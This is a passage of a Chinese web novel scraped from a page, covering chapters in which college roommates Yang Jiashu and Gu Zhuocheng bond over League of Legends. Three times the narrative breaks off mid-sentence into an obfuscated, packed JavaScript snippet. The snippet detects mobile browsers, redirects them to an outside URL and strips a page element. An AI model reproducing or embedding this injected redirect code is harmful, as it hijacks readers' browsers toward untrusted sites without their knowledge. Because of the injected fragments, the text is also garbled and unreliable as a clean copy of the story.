杨嘉树打掉顾琢成的手,佯装生气道:“什么奶油皮肤,你恶不恶心啊。男人就是该粗糙一点,这叫硬朗,懂不懂。” 顾琢成好脾气地笑:“确实硬朗。我该走了,回北京见。” “嗯。”杨嘉树点点头,等他离开。 顾琢成坐着不动。 杨嘉树用眼神询问他:“怎么还不走?” 顾琢成说:“你现在不工作了,应该有空聊微信了吧。” “……”杨嘉树说,“有啊。” “那以后不要再不回我信息了。”顾琢成皱起眉头,像是埋怨一样对杨嘉树说,“虽然工作重要,但是也不要忽略了兄弟。” “……”杨嘉树被他打败了,“好的,兄弟。你快走吧,晚了赶不上飞机了。” “好好照顾自己。” 顾琢成走了。 护工大叔搬了个凳子坐在杨嘉树床边,给他削苹果,一边削一边说:“小兄弟,那个是你朋友啊?大老板?看起来真有钱。” 杨嘉树坐在床上发呆,过了一会儿才回答大叔的话:“是啊。是我的好朋友。” “那你朋友对你可真好,专门从北京过来看你,待一晚就走了。”大叔呵呵地笑,“有这样的朋友,可得好好珍惜啊。” “是的。”杨嘉树点点头,认真地说。 五点多的时候,顾琢成给他发微信,说飞机马上就要起飞了,让他回北京的时候提前跟他说一声,他去机场接他,还有:“有什么需要帮忙的都跟我说,我在新疆也有认识的人。有空的时候我会再来看你。” 杨嘉树回他:“好的,霸道总裁。握拳/。” 他抬头,看向窗外晴朗的天空,眼睛一花,他好像看见一架飞机,上面载着从新疆飞往北京的顾琢成。 辛苦了啊,顾琢成。 杨嘉树咬着苹果,从冒水的果肉里品尝出了一丝苦涩。他的眼睛酸胀,感觉正有一些泪水在眼睛里形成,马上就要落下来了。护工大叔在帮他拆开果篮,收拾水果,有些易坏的要先挑出来赶紧吃掉。 杨嘉树不想让别人看见自己哭了,更不想因为只是见到顾琢成就难受得想哭,这会让他非常地怨恨、看不起自己。所以他的眼睛死死盯着一点,拼命眨动眼睛,想让眼泪哪里来的回哪里去。 他盯着自己打了石膏的腿,忽然发现哪里有点不对劲。 那上面有三行字,一行是小刘留下的、特别大也特别显眼;另外两行小得像蚂蚁一样的字是顾琢成用签字笔写的,可是—— 为什么一行那么长,一行那么短呢? 这家伙到底在自己腿上偷偷写了什么啊。 杨嘉树叫大叔:“大叔,你帮我看下,我的腿上,那行很长的小字……我朋友给我写的,他都写了什么?太远了我看不见,你帮我读一下吧。” “哪里?”大叔转过身,走到床尾,弯下腰认真地看杨嘉树腿上的字,“嘉树,一个人在外面,一定要注意安全。否则你受伤,我不在你身边,你就只能自己照顾自己了……后面这是签名吗?花里胡哨的,俺看不懂。” 大叔转过头,憨笑着看向杨嘉树:“幸好俺识字,要不然……小兄弟,你、你咋哭了啊?” 杨嘉树擦去眼睛里的泪水,很快地,又有一行新的泪水流了出来,他就这么一边啃苹果一边擦眼泪,然后对大叔说:“我没事,大叔,是苹果太酸了。” 4. 第 4 章 杨嘉树一开始跟顾琢成的交情并不深,是认识一段时间后才熟络起来的。 大一分宿舍,杨嘉树跟一群计算机系的分到了一起,他来的比较晚,抢到靠门边的床位,对面的床铺空着,杨嘉树问舍友:“还有一个还没到吗?” 舍友说:“不知道,可能晚点到吧。” 这个人就是赵靖。人都会有一点雏鸟情结,对自己在陌生环境第一个搭话的人有种特殊的好感,杨嘉树顺理成章地和赵靖成了铁哥们儿。 晚上聊天的时候,杨嘉树才知道一寝室四个,有三个都是计算机系的,只有自己是中文系的。 赵靖问杨嘉树介不介意,要不要跟辅导员说换下宿舍,杨嘉树说:“不用啊,挺好的,而且我也懒得再搬了。” 杨嘉树是广东人,汕头那边的,平时特别讲究,光衣服都带了两大箱,还有一些瓶瓶罐罐、收纳用的盒子架子之类的。他见对面床铺一直空着,空了一个星期,就问赵靖那人是不是不来了。赵靖说:“啊,是的,他是我同班同学,叫顾琢成,他上学期住亲戚家,不来了。” 杨嘉树就把自己的东西都堆在了对面床铺上,上面堆不下,就堆在下面的桌子上。赵靖每回路过,都觉得十分壮观,有时还会手贱去摸两下:“哇,国际名牌,这是抹脸的还是抹身体的?我妈也用这个。” 杨嘉树看了一眼,说:“是抹眼睛的。” 赵靖说:“啧啧,真精致。你家一定很有钱,我听说广东那边都很富,你平时生活费多少啊?” 杨嘉树说:“五千。” 赵靖张大嘴巴:“哇!” 杨嘉树补充:“一个星期。” 赵靖亲热地挽住杨嘉树的胳膊:“中午可以请我吃饭吗?我想吃东门对面那家火锅很久了,同学们都说好吃,就是吧,有点贵……” 杨嘉树在这方面挺大方的,反正零花钱多,好像怎么花都花不完,有时候莫名其妙还能省下一点。他计划下学期用省下来的钱买台相机,练习摄影。 宿舍另外一个室友,叫何永平,是个老实人,平时挺沉默寡言的。杨嘉树不知道是不是理科生都这样,不擅长社交,反正他们文科生不会,热爱交友,并且很随和。 杨嘉树比较少待在宿舍,更多时候都去找自己班的同学玩,要么就是在图书馆看书,期末了就成天泡在自习室,背书刷题,睡觉的时候才回宿舍。不过他跟赵靖的关系倒是挺好的,赵靖这人有点呆,有点虎,但是很仗义,大一上学期回了趟家,还特意给杨嘉树带了很多家里的特产,说感谢杨嘉树平常请他吃饭、喝饮料什么的,杨嘉树就记住了赵靖的好。 下学期,对铺的那位还没来,杨嘉树就更加肆无忌惮了,什么东西都往那上面扔,有时候连吃完来不及扔的泡面碗都会扔到上面。他自己是不觉得乱的,因为东西放在哪里,他心里都有数。 刚开学没多久,杨嘉树用过年攒下的压岁钱买了一台专业版徕卡,整天脖子上挂着一台相机满校园乱晃,热衷于给同学们拍写真。而且,他受赵靖的影响,开始玩起LOL,赵靖玩ADC,他就玩奶妈,跟在赵靖后面给他加血。 不过杨嘉树从来不自己一个人去单排,因为他只会玩奶妈,而且经常被骂,骂多了他就不愿意玩了。 何永平也玩LOL,有时候会和赵靖一起叫杨嘉树三排,杨嘉树也会加入。但是杨嘉树刚入门这个游戏,操作还不太熟练,经常失误,他玩奶妈,总是在关键时刻按不出技能,害自家C位被对面刺客打死,何永平就说他:“杨嘉树,你怎么回事啊,好呆!”说一回杨嘉树不介意,可是第二回、第三回,杨嘉树就开始在意了,他实际上是个很敏感、有点小心眼的人,从此只要打LOL,何永平在,他就都找借口婉拒了。 下学期快结束的时候,杨嘉树终于见到对铺那位神秘的兄弟。 一天他正在宿舍洗头,忽然听见外头有人在敲门,谁啊?忘带钥匙了吗,他想,然后就顶着一头泡沫去开门。 外头站着一个特别帅的帅哥,不认识的,杨嘉树愣了一下:“同学,你找谁?” 帅哥说:“我来放东西的。” 杨嘉树这才注意到他手上提了一只箱子,他还没反应过来,放什么东西?帅哥已经绕过他,进去了。 杨嘉树愣愣地盯着他,不懂他在搞什么:“同学,你找错地方了吧?” 帅哥的目光在几个床位上来回转了转,然后停在杨嘉树的对铺、那个被各种杂物填满的床板上:“这是我的床位,”帅哥指着床板说,“我叫顾琢成。” “啊?哦。”杨嘉树反应过来,愣愣地说,“是你啊。那个,抱歉这上面都是我的东西,你等等我,我马上来收拾!”然后他就跑去火速把头冲干净,草草擦了下就回来了。 顾琢成对着满床、满书桌的杂物,一副无从下手的样子。 杨嘉树特别尴尬:“那个,同学,我来吧。”他找了一个塑料袋,开始装自己的东西,装着装着,他发现其实有些东西自己根本就不用,可以丢掉了,于是又找了个丢垃圾的塑料袋来。 顾琢成见他顶着一头湿发忙活,身上的T恤都被淋湿了,就说:“同学,要不你先把头发吹干再收拾吧,我不着急。” 杨嘉树抬起头,一边说话、一边手上还在忙活:“没事的。对不起啊同学,我以为你这学期也不来了。” 顾琢成站在宿舍中间,打量这间屋子,很宽敞的四人间,上床下桌,有单独的阳台。四个书桌,除去被当成公共区域的、自己的桌子,其余三个都摆得满满当当,其中要数靠门口的那张最乱。书桌上有个竖起来的PAD,桌面上好多缠在一起的数据线,有几袋面包、苏打饼干,一包敞开的薯片,还有喝了半瓶的汽水。 还有一台正在充电的相机。 顾琢成把目光转向那个正在踮着脚收拾东西的人,心想,八成是他的桌子。 果不其然,杨嘉树装完一个袋子,走到自己的书桌前,把桌面上的东西一股脑拢到角落,薯片和汽水扔到垃圾桶,“咵叽”一下就把塑料袋砸在桌面上,顾琢成怀疑是不是有玻璃瓶在里面悄悄碎掉了。 杨嘉树的手脚麻利,一会儿就把床板上的东西收拾完了,接着是桌子。太多了,他收拾的时候整个人都特别尴尬,悔恨自己当初为什么放这么多东西在人家的地盘上,现在好了吧,当众处刑,真的好丢脸!杨嘉树觉得这是自己二十年来最尴尬的时刻。 尤其是,他从人家的抽屉里翻出一包上学期买的辣条…… “呃。”杨嘉树的脸红了,“那个,都收拾好了同学,你等等,我拿块儿布给你擦擦灰尘。” 杨嘉树一阵风似的跑到阳台,从阳台的栏杆上拿了一块黑乎乎的布过来。顾琢成眼睛尖,看见那块布上面有些疑似铁锈的污渍,他连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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杨嘉树回头看了眼自己的桌子,嗯……放在一旁的古代汉语课本被溅出来的汤汁弄脏了,杨嘉树抽了张纸巾,仔细擦干,心想自己是不是也得收拾下乱成一团的书桌了。 等他吃完饭,顾琢成也刚好收拾完,看他打算出门,杨嘉树问他:“你去吃饭啊。” 顾琢成说:“是。” 杨嘉树说:“早知道我就不打包了,跟你一起去食堂。” 顾琢成站在门口,看着杨嘉树,有些犹豫地说:“那要不,你要跟我一起吗?” 其实杨嘉树只是想报答他昨天没有嫌弃自己的恩情的,如果两人一起去食堂的话,他就能通过请他吃饭的方式来报恩了。可是,现在自己都吃饱了……还去食堂干什么。 “不了。”杨嘉树说, “我已经吃过了。” “哦。”顾琢成说,“那我走了。” “等等。”杨嘉树叫住他。 “怎么了?”顾琢成停下来。 杨嘉树把自己吃完的饭盒放回塑料袋里,系好,递给顾琢成:“帮我丢下垃圾,嘿嘿。” 顾琢成没说什么,提着垃圾袋就走了。不过,心里对杨嘉树有了个大概的印象:少爷,娇生惯养,不太讲卫生,自来熟,有点莫名其妙。 5. 第 5 章 杨嘉树想着都在一个宿舍了,那报恩的事就不急了,反正以后有的是机会。 但是他没想到顾琢成是个非常爱学习的人……早上杨嘉树还没起床,顾琢成就收拾整齐就出门了,到了晚上杨嘉树睡着了他才摸着黑回寝室,轻手轻脚地洗漱、上床睡觉。连续大半个月都是这样,杨嘉树好奇地问赵靖:“他干什么去了啊,神出鬼没的。” 赵靖说:“打ACM去了——哦就是一个国际性的编程比赛,跟队友们训练去了。” 杨嘉树说:“这个是什么?很厉害吗。” 赵靖说:“很厉害,我们凡夫俗子就不要试图去理解大佬的世界了。” 杨嘉树说:“好吧。”但是他私底下去偷偷打听过了,顾琢成在整个学校都挺出名的,问女生,她们记住的是他出色的外貌,问男生,他们说有在篮球场上跟他交过手,打前锋很厉害。当然,问计算机学院的,那可就人人都认识他了,明星人物,天才级别的存在。 怪不得呢,看上去有点高冷。 杨嘉树也不再执着非要去报恩了,说不定人家根本就不稀罕。 下学期快放假的时候,顾琢成出现在宿舍的时间多了一些。好像是比赛打完了,但是很多时候杨嘉树见他在宿舍,要么是敲电脑,要么是拿个本子在那里写来写去,或者做题集,看网课,总之,几乎没见他有什么娱乐活动。 有天,杨嘉树下课早,想着回宿舍休息下,刚好看到顾琢成在宿舍,敲电脑敲得噼啪响。杨嘉树扫了一眼他的电脑,黑不溜秋的,有些字母和数字在上面跳来跳去,看不懂。 他爬上床,戴起耳机看了会儿电视,打算上个厕所来睡一会儿,结果下去就发现顾琢成不见了,连带着电脑一起。真是个怪人,不喜欢舍友打扰他学习吗? 不过连续这样几次类似的情况出现之后,杨嘉树忽然反应过来,他不是嫌弃宿舍有人打扰他学习,而是怕自己敲键盘声音太大吵到别人了啊! 为了验证是不是这样,这天杨嘉树回宿舍没有直接上床,而是先在自己的书桌上坐了一会儿,假装看书。果然,他看见顾琢成又要收拾电脑走人了,杨嘉树连忙叫住他,说:“顾琢成,你是不是怕声音太大吵到我啊?没关系,我在宿舍很少学习的,我都戴起耳机在看剧的。”他说,举起自己的手机晃了晃。 顾琢成人都起来一半了,站也不是坐也不是:“不是……” 杨嘉树站起来,把自己早就洗好的水蜜桃递给他:“你吃桃子吗?很甜的。” 顾琢成没接:“不用了……” 杨嘉树还以为他是在客气,直接把桃子放在他的桌子上:“尝尝吧,甜的。” 顾琢成终于背着电脑包站了起来:“那个……” 杨嘉树看着他的动作,不解:“我都说了你不会打扰我了,你怎么还要走呢?” 顾琢成说:“我等下有课。” 杨嘉树:“……” 顾琢成:“快迟到了。” 杨嘉树赶紧让开:“哦、哦,那你快去吧!” 好尴尬啊。目送顾琢成出门的杨嘉树拍了拍自己的脸,把顾琢成桌上那颗水蜜桃收回了,算了,还是留着自己吃吧! 不过顾琢成大概是把那句话听进去了,待在宿舍的时间变长了,有时候杨嘉树还会听到顾琢成跟赵靖、何永平聊天,他们是一个班的,会聊些课程、比赛,或者作业方面的事。杨嘉树发现何永平貌似对顾琢成挺崇拜的,跟他说话时总是小心翼翼,带了一点讨好。 那天杨嘉树下课回宿舍,居然发现顾琢成在和赵靖、何永平他们一块儿打LOL,杨嘉树觉得很稀奇,站在顾琢成后面看着他打。他玩剑魔,操作很熟练,把对面的刀妹压着打,杀了她好几次。杨嘉树看了一会儿,也想玩了,直接说:“顾琢成,你玩剑魔好厉害啊,能带我一起打吗。” 何永平立刻说:“不要不要,杨嘉树太菜了!” 杨嘉树有点尴尬,转过身瞪了何永平一眼:“你厉害,那你怎么还0-7呢?” 何永平说:“总比你0-10强。” 杨嘉树摸摸鼻子,不想玩了。 游戏结束,跳到结算画面,顾琢成的剑魔是MVP。他看了眼时间,回头叫杨嘉树:“上号吧,我还能再打一把。” 杨嘉树立刻高兴地去开电脑,但是很快他就高兴不起来了,因为这把何永平抢了卢锡安,这是个很脆弱的射手英雄,必须要辅助全程跟着保他。杨嘉树选了奶妈,何永平回过头看了杨嘉树一眼,不太信任地说:“杨嘉树,你可别坑我啊。” 杨嘉树没理他。 到了线上,卢锡安和卡莎对A,杨嘉树本来想帮卢锡安占个视野,防止对面来抓他。但是对面辅助总是过来骚扰,还是杨嘉树不太会应对的曙光女神·蕾欧娜,杨嘉树第一次被单杀时,何永平阴阳怪气地说:“杨嘉树,你连自己都保护不好,怎么保护我啊。” 本来死了就不开心,还阴阳他。杨嘉树心里有气,操控着英雄快速去到线上,寸步不离地跟在何永平身边。何永平的技术其实挺菜的,一直Q不到人,还总被卡莎消耗,杨嘉树也没说他什么,只是默默给他加血。打着打着,对面打野来抓射手,杨嘉树第一时间开控制技能保他,但是这时候蕾欧娜突过来,配合打野直接把卢锡安给秒了。 何永平丢开鼠标,大叫一声,说:“杨嘉树,你看看对面辅助!” 杨嘉树也死了,和卢锡安头对头、脚对脚,模样十分凄惨。他说:“我怎么了呢,是你自己站位太靠前的。” 何永平暴躁地敲着电脑键盘,说:“你就不该玩奶妈,随便玩个硬辅都比奶妈强!算了算了,你去跟别人吧,别跟我了,我自己还好打一点。” 杨嘉树本来都快到线上了,听了何永平的话,立刻掉头就走,打算去上路找赵靖。 这时候顾琢成说:“杨嘉树,你来跟我,去抓人。” 奶妈在原地转了个圈,听话地往野区走:“好的。” 顾琢成玩剑魔打野,刷野速度很快,刷完野就去下路抓人,杨嘉树跟在他后面,还没到战场他就把对面卡莎和蕾欧娜双杀了。杨嘉树看他动向,以为他要进对面野区,就提前往那边靠,没想到对面打野在那里蹲他,杨嘉树直接被削得只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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杨嘉树一坐下就点了很多菜,鲜切牛肉一下子点了四盘,然后还要生打牛肉丸、牛板筋和生牛小排,看样子还要继续点,赵靖连忙说:“够了吧,点这么吃得完吗?” 杨嘉树看了眼顾琢成,说:“男生吃得多嘛……没事,吃不完我让老板退掉,慢慢吃。”他还点了一扎冰啤酒,夏天快到了,空气中已经有了一些暑气,杨嘉树喝一口冰啤酒,打了个小小的酒嗝,“好爽啊!” 赵靖看着满满这一桌子食材,无奈地说:“人傻钱多啊。其实我刚刚就是那么一说,不让你请客,一会儿大家AA。” “干嘛。”杨嘉树哼了一声,“看不起我啊。” 赵靖:“没有,谁敢看不起你,大少爷!” 顾琢成一直没有说话,杨嘉树觉得他是个好人,善良,又讲义气,只是太慢热,可能不太擅长社交。于是他主动跟顾琢成攀谈:“顾琢成,你的名字好好听啊。翩翩君子,美玉琢成,给你起名字的人一定很有文化。” 顾琢成挑起眉毛,对杨嘉树会吐出这么有内涵的话感到有点意外,不过他很快想起来杨嘉树是中文专业的,说话这么有内涵实属应该,是他带着有色眼镜看人家了。他冲杨嘉树点点头,说:“名字是我爷爷取的,‘玉琢成器’,他希望我以后成大器。你的名字也挺不错,嘉树,美好的树,给人一种生机勃勃的感觉。” 杨嘉树很开心,第一次有人这么认真地夸他的名字好听,他举起杯子,跟顾琢成碰了一下:“谢谢你啊,顾琢成。” 赵靖看着锅里沸腾的汤、还有汤里上下翻浮的肉,问他俩:“可以吃了吗?两位大佬。” 6. 第 6 章 杨嘉树慢慢和顾琢成熟悉起来。 有的时候他们会一块儿玩LOL,人多的时候就三排、或者五排,只有他们两个的时候就双排。杨嘉树喜欢跟顾琢成双排,因为顾琢成玩射手很C,他就选个奶妈跟着他,不用怎么操作就能躺赢,安逸得很。 杨嘉树还加了顾琢成的微信,有时候不想去食堂,就会让顾琢成顺路帮他带饭。不过杨嘉树也不让他白带,会请他吃零食,或者喝奶茶。可是顾琢成好像对零食奶茶不感兴趣,这些东西最后都进了杨嘉树的肚子里。 放假前几天,杨嘉树跟顾琢成聊天,问他要去哪里玩。顾琢成说:“不去哪里玩,我报了个暑期夏令营,去俄罗斯集训。” “哇。”杨嘉树崇拜地看着他,“你好厉害啊。” “……”顾琢成觉得杨嘉树有点夸张了,其实只是一般般而已。他说,“没有很厉害。” 杨嘉树却觉得顾琢成是在谦虚,不过,这样倒也不讨厌,“我觉得你很厉害。”他把椅子挪到顾琢成的桌子旁边,问他是不是第一次去俄罗斯。 “是的。”顾琢成说。 “不知道好不好玩。好玩的话你告诉我,我也想去玩。我还没去过俄罗斯呢。” “那你都去过哪里?”顾琢成很自然地跟他聊起天来。 他觉得杨嘉树的脾气真的挺好的,好像跟谁都聊得来,人也大方,没什么坏心眼,跟他相处很舒服。 杨嘉树说:“我去过香港、澳门,台湾,日本……噢对了,我还去过美国呢,不过那时候我太小了,对那边没什么印象。我爸说我在美国差点走丢,给他吓得心脏病都发了,从此对美国有了心理阴影,哈哈。” “你家是做什么的?” “我家啊。”杨嘉树顿了顿,说,“我家是开玩具厂的,主要做婴幼儿玩具,给人家代工,自己也有产线——你家要是有弟弟妹妹,告诉我,我送他们玩具啊。” “我没有弟弟妹妹。”顾琢成摇头,“我是独生子。你呢?” 杨嘉树说:“我不是,我还有一个弟弟。”他不太愿意谈论这个话题,到时间了,就约顾琢成一块儿去吃午饭。 暑假,杨嘉树待在家里整天打游戏,他迫切地想要提升自己的辅助技术,不要总是给顾琢成拖后腿。但是单排太难打了,有些人嫌弃奶妈辅助,想要硬辅,于是杨嘉树就尝试着玩了几把牛头,真难,比奶妈还要难,被人追着加好友骂,杨嘉树就放弃了。 杨嘉树的弟弟,杨嘉苗,这会儿还在上初中,有点被家里惯坏了,经常出口成脏,对着杨嘉树也“傻嗨”来、“傻嗨”去 ,杨嘉树不想理他,对于弟弟热情地一块儿玩游戏的邀请总是置之不理,让杨嘉苗哪里来的滚哪里去。 杨嘉苗就跟他妈告状:“妈,你看哥哥放假老是在家里打游戏,是不是上学的时候也没好好念书,都在玩啊!” 杨嘉苗的妈妈就从房间里出来,顶着做了一半的造型说杨嘉树:“杨嘉树,你就带带弟弟嘛,别叫他出去乱跑,现在外面很危险的。” 不得已,杨嘉树就带着杨嘉苗一块儿玩。刚玩一把,杨嘉苗就赤果果地嘲笑杨嘉树:“大佬,你好菜啊!我第一次见有人玩奶妈那么呆的,站着不动让人家打,你哪怕放个技能呢……诶诶诶,你干嘛!哇哇哇,妈!杨嘉树打人了!杨嘉树打人了!爸!妈!救命啊!!” 杨嘉苗被杨嘉树殴打了一顿,不过杨嘉树也被老爸骂了一顿,扯平了,从此杨嘉树的卧室就对杨嘉苗永久性关闭了。 快开学的时候,杨嘉树偶然看到顾琢成游戏在线,就尝试拉他打排位,顾琢成接受了。杨嘉树很高兴,直接在公屏跟顾琢成聊了起来:“你培训完了?” 顾琢成说:“是的。” 杨嘉树说:“好久没跟你一块打游戏,想你了。” 顾琢成:“微笑。”然后顺手锁了一手薇恩。 杨嘉树跟着选了奶妈。他发现顾琢成不管玩什么英雄都很厉害,主要是心态稳,不管弱势强势都冷静对待,被抓了也不会心急,寻找机会默默发育。有这样的队友实在是很安心,不过……杨嘉树这把有点拖后腿了,对面是他的宿敌——曙光女神·蕾欧娜,杨嘉树被打怕了,看到蕾欧娜心里就发怵,躲在顾琢成后面不敢出去。顾琢成发现了,也没说什么,只是默默地走位躲技能补兵线。 打到一半,队友在公屏骂杨嘉树,说他怂,菜,“连个奶妈都玩不明白,回去玩你的连连看去吧!” 杨嘉树很生气,要是单排被骂也就算了,可是跟顾琢成一起,被骂让他很没面子……他骂回去:“你才菜呢,你1-6,又比我好到哪里去?” 对面说:“这游戏又不看战绩,懂不懂啊你。” 杨嘉树说:“不懂的是你,你就是菜。” 对面:“菜狗别叫了,等下出去就举报你。” 杨嘉树气得要死,在公屏里输入一大堆脏话,都是平时跟杨嘉苗学的,然而还没发出去,他就看见顾琢成在公屏说:“打团三次大招全空。石头人,请你自重。” 对面不说话了。 杨嘉树感动得要死,在心里说,谢谢你,顾琢成。 游戏快结束的时候,玩石头人的那哥们儿说:“VN,我承认你确实挺牛的,但是下次能不能带个聪明点的妹子,别让她出来祸害人了。” 杨嘉树:“?”你是不是嫉妒了啊,石头人。在石头人举报他之前,他先把石头人给举报了,理由是:侮辱他人人格。 组队界面,顾琢成问他能不能开麦,杨嘉树说可以啊,顾琢成就创建了一个语音房间,邀请他进去。杨嘉树把耳机带上,打开麦克风,说:“喂喂,能听见吗啊?顾琢成。” “可以。你能听见我说话吗?” 哇,声音好好听啊,顾琢成。杨嘉树说:“我可以。你今天可以玩多久啊?” “玩到晚上吃饭。” 杨嘉树看了看时间,现在才下午两点呢。太好了!杨嘉树站起来把窗帘拉上,免得耀眼的日光影响了他的发挥,然后回来摩拳擦掌道:“那我们继续吧!” 这把选英雄的时候,顾琢成对杨嘉树说:“其实琴女也挺厉害的,操作还简单,你想不想试试?” 杨嘉树立刻听出他的“弦外之音”,委屈地撅起嘴巴:“你也嫌弃我菜?” 顾琢成顿了顿,说:“没有。我只是觉得这把阵容适合玩琴女,你不想玩也没关系。玩奶妈跟我走下路。” “……那我试试吧。” 杨嘉树玩了一下午琴女,顾琢成建议他玩别的英雄他也不要,就玩琴女,还说终于找到适合他的英雄了!但是等遇到一把很会玩的奶妈之后,他又开始想玩奶妈了,顾琢成说:“可以啊,你玩吧。” 杨嘉树特别感动地说:“顾琢成,你真好。我这么菜你还愿意带我玩。”还让我想玩什么就玩什么,坑了也不怪我,呜呜,这也太天使了吧! 顾琢成说:“还好,没有很菜吧。” “一丢丢菜?” “……” “没关系啦。”杨嘉树说,“我还是很有自知之明的。” “多打几把就好了。” “那你说,我玩剑魔打野怎么样呢?我看你玩得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15495741|170176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好厉害,教教我可以吗。” “呃。”顾琢成这下犹豫了,婉拒道,“时间到了,我要去吃饭了。” “好吧。”杨嘉树依依不舍地说,“那什么时候可以再带我双排?” “明天吧。” “晚上不可以吗?晚上我也有时间。” “……我看看吧。” 听得出来,顾琢成有点勉强。 杨嘉树立刻说:“没关系,你要是没空那我就自己打打匹配,练英雄。你喜欢什么硬辅啊?我也可以玩硬辅保护你的。” 顾琢成说,有点无奈的样子:“你先把软辅玩好吧,吃完饭我叫你。” “好的!” 接下来几天,杨嘉树打游戏打了个爽,现在他才终于发现这个游戏的乐趣,怎么就那么好玩呢,都有点沉迷了。尤其是被顾琢成带飞的感觉,有时候杨嘉树甚至会拿辅助混个MVP,别提多有成就感了! 就是有一点不好,经常有人说他们是情侣,甜蜜双排什么的,甚至都默认杨嘉树是被带的那个,有骂他的,也有羡慕他的。有次杨嘉树解释了下,说自己跟顾琢成都是男的,队友立刻就说:“哇,基佬啊!” 杨嘉树笑嘻嘻地说:“是啊。我们是基佬,对不对,老公?” 顾琢成带着笑的声音在耳机里响起来:“别闹。” 好像就是这样关系慢慢变好的。杨嘉树微信跟顾琢成聊天,问他哪个哪个英雄要怎么玩,顾琢成都会耐心地解答。然后杨嘉树渐渐就不再只聊游戏了,也会分享自己的生活,比如今天妈妈做了什么菜,爸爸出差回来给他带了什么礼物,还有弟弟如何讨人嫌……不管他说什么,顾琢成都会很温柔地回应,这时候的他就没有面对面那种强烈的高冷感了,而是说不出的亲切。 杨嘉树百思不得其解,但是有天晚上,他顿悟了,因为顾琢成是个长得很帅的帅哥啊!帅哥也是有分类型的,有的帅看上去很疏离,是因为他面部骨骼棱角分明,横看成岭侧成峰,不笑的时候就显得严肃、有距离。 但是有的帅呢就很温暖,像杨嘉树,虽然他是单眼皮,但是眼睛很大,笑得时候弯起来,像狗狗的眼睛。顾琢成的帅是跟他截然相反的帅,不过,杨嘉树已经从顾琢成那冰冷的外貌看透他火热的心了,这就是一个外冷内热、十分温柔的家伙。 顾琢成是东北人,这点杨嘉树以前还真没看出来,因为顾琢成讲话没有东北口音,关于这点,顾琢成是这样解释的:“我是南北方混血,妈妈是南方人。” “哇。”杨嘉树说,“那你妈妈是哪里人?” “广东人。” “老乡啊!”杨嘉树特别热情地说,“下次你妈妈回广东,我请她吃饭啊!” 顾琢成说:“她已经去世了。” 杨嘉树呆住了。很快,他的心中生出一种跟顾琢成同病相怜的情绪来,“这样啊。”不知道说什么好,他就直接转移话题,“你什么时候回学校?” “明天。” “哇我也是明天!你坐飞机还是火车?” “飞机。下午两点到北京。” “那咱俩时间不一样,我五点到。”杨嘉树说,“你可以在机场等我吗?我们一起回学校。” 这个要求有点过分了。顾琢成说:“不可以。” 杨嘉树觉得自己在顾琢成心中的地位还没有很重要,因为要是换成他两点到,他一定会在机场等顾琢成的,两人一起打个车回学校……看来是我对他还不够好。杨嘉树开始反思,并且琢磨怎么才能在下次发生这种类似的情况时,顾琢成能心甘情愿在机场等他。 7. 第 7 章 大二开学,杨嘉树明显和顾琢成黏糊了很多,连赵靖都说:“你们俩是什么时候勾搭到一起去的?” 杨嘉树嘿嘿一笑,说:“是他先追求我的,我本来不愿意,但是,他说要带我上钻石,我就勉为其难答应了。” “你现在是什么段位?” “黄金啊。” 赵靖拍拍他的肩,光明正大地内涵道:“多请顾琢成吃几顿饭吧。” 杨嘉树现在已经不在乎别人说自己菜了,只要顾琢成不说他就行。 一天下午,杨嘉树下课早,打算先回寝室洗衣服,新买的衣服还没到,他要没衣服穿了。进寝室,只有顾琢成和何永平在,而且,他们在打LOL。 好像没人发现自己,杨嘉树不知道怎么回事,心里有点不舒服。主要是何永平好像在玩辅助,跟着顾琢成,特别大声地夸顾琢成厉害,什么“顾琢成,这样你都能躲掉,反应好快啊!”,还有,“顾琢成,你伤害好高啊!一套就给他秒了!”,“这把躺赢,全靠你顾琢成,来来来继续!我还给你辅助!” 杨嘉树闷闷不乐,收拾完衣服就打算出去了。 到门口的时候顾琢成叫住他:“杨嘉树,要不要玩?” 杨嘉树脚下一顿,心说现在已经有人给你辅助了,还叫我干什么,“我不玩了,我要去洗衣服。” “哦。”顾琢成没发现他的异常,应了一声就回头继续游戏了。 洗完衣服回来,何永平不见了,只有顾琢成。杨嘉树不想理他,进门就上床,戴上耳机开始听音乐。 没一会儿,顾琢成走过来,敲了敲他的床沿:“去吃饭吗?” 杨嘉树摘下耳机,说:“你怎么没跟何永平一起?” 顾琢成说:“他跟朋友约好去校外吃,先走了。” “他不跟你一起,所以你才叫我的吗?” “?”顾琢成看着他,有点不解,“没有啊,我本来就要叫你一起的。” 杨嘉树说:“你自己去吧,我不饿。” “好吧。”顾琢成说,然后就直接走了。 他竟然,直接走了!杨嘉树拿起床上的小猪玩偶,把它当成顾琢成,疯狂地戳他的眼睛。 太过分了!竟然一点都不在乎我的感受。 杨嘉树不是个小气的人,他讨厌何永平,也只是私底下默默讨厌而已,从没有当面怼过他,也没有背地里说过他的坏话,只是……既然你是我的好朋友,都看不出来我讨厌何永平吗。还跟他一起打游戏,这不是背刺我吗。 那你以后就跟何永平玩儿好了,不要再来找我了。 杨嘉树生了一通闷气,已经在心里计划好要怎么慢慢疏远顾琢成了,千万不要让他看出来,以为我多么小心眼呢。 手机忽然响了,杨嘉树打开一看,是顾琢成问他:“嘉树,你要吃什么?我给你带点回去,不吃饭对胃不好,清汤牛肉粉好不好?” 